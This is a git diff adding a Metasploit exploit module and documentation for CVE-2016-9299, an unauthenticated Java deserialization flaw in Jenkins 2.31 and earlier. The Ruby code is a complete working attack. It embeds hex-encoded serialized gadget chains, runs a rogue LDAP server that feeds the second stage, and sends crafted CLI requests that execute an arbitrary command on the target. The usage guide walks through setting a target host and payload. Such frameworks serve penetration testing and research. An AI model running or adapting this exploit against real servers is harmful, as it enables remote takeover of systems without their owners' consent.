diff --git a/documentation/modules/exploit/linux/misc/jenkins_ldap_deserialize.md b/documentation/modules/exploit/linux/misc/jenkins_ldap_deserialize.md new file mode 100644 index 0000000000..7163f2021b --- /dev/null +++ b/documentation/modules/exploit/linux/misc/jenkins_ldap_deserialize.md @@ -0,0 +1,69 @@ +## Vulnerable Application + +Jenkins 2.31 or below is vulnerable and can be downloaded from [updates.jenkins-ci.org](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war) + +This vulnerability does not require authentication and only HTTP access to the vulnerable application is required. + + +## Verification Steps + + 1. Download [jenkins 2.31](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war) + 2. Install jenkins ```java -jar jenkins.war``` + 3. Start ```msfconsole``` + 4. Do: ```use exploit/linux/misc/jenkins_ldap_deserialize``` + 5. Do: ```set RHOST [target host]``` + 6. Do: ```set PAYLOAD cmd/unix/generic``` + 7. Do: ```set CMD 'touch /tmp/wtf'``` + 8. Do: ```run``` + 7. It should create /tmp/wtf on the target host. + +## Required Options + + **RHOST** + + The address of the jenkins server. + + +## Options + + **RPORT** + + The http port for the jenkins server. (Defaults to 8080) + + **TARGETURI** + + The path to the target instance of Jenkins. (Defaults to /) + + **SRVHOST** + + The local address to listen for the LDAP request on. (Defaults to 127.0.0.1) + + **SRVPORT** + + The local port to listen for the LDAP request on. (Defaults to 1389) + + **LDAPHOST** + + The ldap host the exploit will connect to. Can be different from ```SRVHOST``` if in a environment where there is port forwarding. (Defaults to 127.0.0.1) + + +## Scenarios + + Example usage against a unix target running Jenkins 2.31. + + ``` + msf > use exploit/linux/misc/jenkins_ldap_deserialize + msf exploit(jenkins_ldap_deserialize) > set TARGETURI / + TARGETURI => / + msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1 + RHOST => 127.0.0.1 + msf exploit(jenkins_ldap_deserialize) > set RPORT 8080 + RPORT => 8080 + msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic + PAYLOAD => cmd/unix/generic + msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf' + CMD => touch /tmp/wtf + msf exploit(jenkins_ldap_deserialize) > run + [*] Exploit completed, but no session was created. + + ``` diff --git a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb new file mode 100644 index 0000000000..ec8a75193c --- /dev/null +++ b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb @@ -0,0 +1,350 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78" + # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf' + STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" + + SEARCH_REQUEST = 3 + SEARCH_RES_ENTRY = 4 + SEARCH_RES_DONE = 5 + ABANDON_REQUEST = 16 + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on + the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not + required to exploit this vulnerability. + + }, + 'Author' => + [ + 'Matthias Kaiser', # Original Vulnerability discovery + 'Alisa Esage', # Private Exploit + 'Ivan', # Metasploit Module Author + 'YSOSerial' #Stage 2 payload + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [ [ 'Jenkins 2.31', {} ] ], + 'References' => + [ + ['CVE', '2016-9299'], + ['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'], + ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'], + ['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'], + ['URL', 'https://github.com/frohoff/ysoserial'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 16 2016' + )) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), + Opt::RPORT('8080'), + OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]), + OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ]) + ]) + end + + def target_uri + begin + URI(datastore['TARGETURI']) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + + def aseq(x, tag) + s = seq(x) + s.tag_class = :APPLICATION + s.tag = tag + s + end + + def seq(x) + OpenSSL::ASN1::Sequence.new(x) + end + + def int(x) + OpenSSL::ASN1::Integer.new(x) + end + + def string(x) + OpenSSL::ASN1::OctetString.new(x) + end + + def set(x) + OpenSSL::ASN1::Set.new(x) + end + + def enum(x) + OpenSSL::ASN1::Enumerated.new(x) + end + + + def java_string(s) + length = s.length + + packed_length = [length].pack("S>") + + "#{packed_length}#{s}" + end + + def search_res_done(message_id) + s = seq([ + int(message_id), + aseq([enum(0), string(""), string("")], SEARCH_RES_DONE) + ]) + s.to_der + end + + def make_stage2(command) + [STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command)) + end + + + def make_stage2_reply(command, message_id) + + java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])]) + java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])]) + attributes = seq([java_class_name_attributes, java_serialized_data_attributes]) + s = seq([ + int(message_id), + aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)]) + s.to_der + end + + + + def make_stage1(ldap_url) + [STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url)) + end + + + def read_ldap_packet(socket) + + buffer = "" + + bytes = socket.read(2) + if bytes[0] != "0" + raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}" + end + + buffer << bytes + + length = bytes[1].ord + if (length & (1<<7)) != 0 + length_bytes_length = length ^ (1<<7) + + length_bytes = socket.read(length_bytes_length) + buffer << length_bytes + length = length_bytes.bytes.reduce(0) {|c, e| (c << 8) + e} + end + + buffer << socket.read(length) + buffer + end + + + def write_chunk(socket, chunk) + socket.write(chunk.bytesize.to_s(16) + "\r\n") + socket.write(chunk) + socket.write("\r\n") + end + + def exploit + uuid = SecureRandom.uuid + + ldap_port = datastore["SRVPORT"] + ldap_host = datastore["SRVHOST"] + ldap_external_host = datastore["LDAPHOST"] + + command = payload.encoded + host = datastore["RHOST"] + + ldap = TCPServer.new(ldap_host, ldap_port) + + cli_path = normalize_uri(target_uri.path, "cli") + + begin + + download = connect() + + begin + + download.write("POST #{cli_path} HTTP/1.1\r\n" + + "Host: #{host}\r\n" + + "User-Agent: curl/7.36.0\r\n" + + "Accept: */*\r\n" + + "Session: #{uuid}\r\n" + + "Side: download\r\n" + + "Content-Length: 0\r\n" + + "Content-Type: application/x-www-form-urlencoded\r\n\r\n") + + download.read(20) + + upload = connect() + begin + upload.write("POST #{cli_path} HTTP/1.1\r\n" + + "Host: #{host}\r\n" + + "User-Agent: curl/7.36.0\r\n" + + "Accept: */*\r\n" + + "Session: #{uuid}\r\n" + + "Side: upload\r\n" + + "Content-type: application/octet-stream\r\n" + + "Transfer-Encoding: chunked\r\n\r\n") + + write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=") + write_chunk(upload, "\00\00\00\00") + + upload.flush + + stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}") + + chunk_header = [stage1.bytesize].pack("S>") + write_chunk(upload, chunk_header + stage1) + + upload.flush + + client = ldap.accept + begin + + # this hardcodes an ldap conversation + + # read bindRequest + read_ldap_packet(client) + + # write bindResponse + client.write(["300c02010161070a010004000400"].pack("H*")) + + # read searchRequest + read_ldap_packet(client) + + # write searchResEntry + client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*")) + + # write searchResDone + client.write(search_res_done(2)) + + # read abandonReqeust or searchRequest + bytes = read_ldap_packet(client) + packet = OpenSSL::ASN1.decode(bytes) + + # abandonRequest packet is sometimes sent + # so we distinguish between abandonRequest/searchRequest + + tag = packet.value[1].tag + if tag == ABANDON_REQUEST + + bytes = read_ldap_packet(client) + packet = OpenSSL::ASN1.decode(bytes) + tag = packet.value[1].tag + end + + if tag == SEARCH_REQUEST + + message_id = packet.value[0].value.to_int + # write searchResEntry + client.write(make_stage2_reply(command, message_id)) + + # write searchResDone + client.write(search_res_done(message_id)) + else + raise "Unexpected packet: #{tag}" + end + + client.flush + ensure + client.close + end + ensure + upload.close + end + ensure + download.close + end + + ensure + ldap.close + end + end + + def check + result = Exploit::CheckCode::Safe + + begin + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end + + result + end + + def vulnerable? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + unless res + fail_with(Failure::Unknown, 'The connection timed out.') + end + + http_headers = res.headers + + http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31" + end + + # Connects to the server, creates a request, sends the request, + # reads the response + # + # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. + # + def send_request_cgi(opts={}, timeout = 20) + + begin + c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) + c.connect + r = c.request_cgi(opts) + c.send_recv(r, timeout) + rescue ::Errno::EPIPE, ::Timeout::Error + nil + end + end + +end